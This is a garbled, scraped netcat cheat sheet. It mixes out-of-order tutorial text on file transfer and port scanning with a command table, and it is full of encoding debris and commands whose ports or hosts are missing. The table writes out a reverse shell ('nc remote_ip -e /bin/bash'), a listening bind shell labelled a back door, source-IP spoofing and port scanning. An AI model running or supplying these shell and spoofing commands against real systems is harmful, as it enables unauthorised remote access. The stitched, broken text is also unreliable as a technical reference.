$ nc 192.168.1.4 3000 | pv | tar -zxf -įile Transfer Between Linux Systems Create a Command Line Chat Server $ tar -zcf - debian-10.0.0-amd64-xfce-CD-1.iso | pv | nc -l -p 3000 -q 5Īnd on the receiver/client computer, run the following command to obtain the file. This will run nc in listening mode ( -l flag) on port 3000.
NETCAT WINDOWS COMMAND PROMPT ISO
Netcat allows you to transfer files between two Linux computers or servers and both these systems must have nc installed.įor example, to copy an ISO image file from one computer to another and monitor the transfer progress (using the pv utility), run the following command on the sender/server computer (where the ISO file exists). Scan for Open Ports in Linux Transfer Files Between Linux Servers The -v option enables verbose mode and -w specifies a timeout for connection that can not be established. Here is an example, the -z option sets nc to simply scan for listening daemons, without actually sending any data to them. It can scan a single or multiple or a range of open ports. Transfer a file On the server host: nc -v -l -p On the client host: nc -v > It is also possible for the client host to listen on a port in order to receive a file.Netcat can be used for port scanning: to know which ports are open and running services on a target machine. The -Âs flag can be used along with most of the commands presented in this table. Spoof source IP address Use the -Âs flag to spoof the source IP address: nc -s spoofed_ip remote_host port This command will cause the remote host to respond back to the spoofed IP address.
Use the -ÂG flag to specify the source-routing pointer.
To make Netcat support the -e flag, it must be re-compiled with the DGAPING_SECURITY_HOLE option Port scan a remote host nc -v -z remote_host - Use the -i flag to set a delay interval: nc -Âi -v -z remote_host - Pipe command output to a netcat request | nc remote_host For example: echo "GET / HTTP/1.0 (enter) (enter) "| nc 80 Use source-routing to connect to a port on a remote host nc -Âg remote_host Note: Up to eight hop points may be specified using the -g flag. To make Netcat support the -e flag, it must be re-compiled with the DGAPING_SECURITY_HOLE option Listen on a port and serve a bash shell upon connect nc -v -l -p -e /bin/bash Note that Netcat does not support the -e flag by default. For example: nc 21 25 80 Listen on a port for incoming connections (Also know as A Back Door) nc -v -l -p Connect to remote host and serve a bash shell nc remote_ip -e /bin/bash Note that Netcat does not support the -e flag by default. h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose (use twice to be more verbose) -w secs timeout for connects and final net reads -z zero-I/O mode (used for scanning) port numbers can be individual or ranges: m-n (inclusive) Connect to a port on a remote host nc remote_host Connect to multiple ports on a remote host nc remote_host. e prog inbound program to exec (dangerous!!) -g gateway source-routing hop point(s), up to 8 -G num source-routing pointer: 4, 8, 12.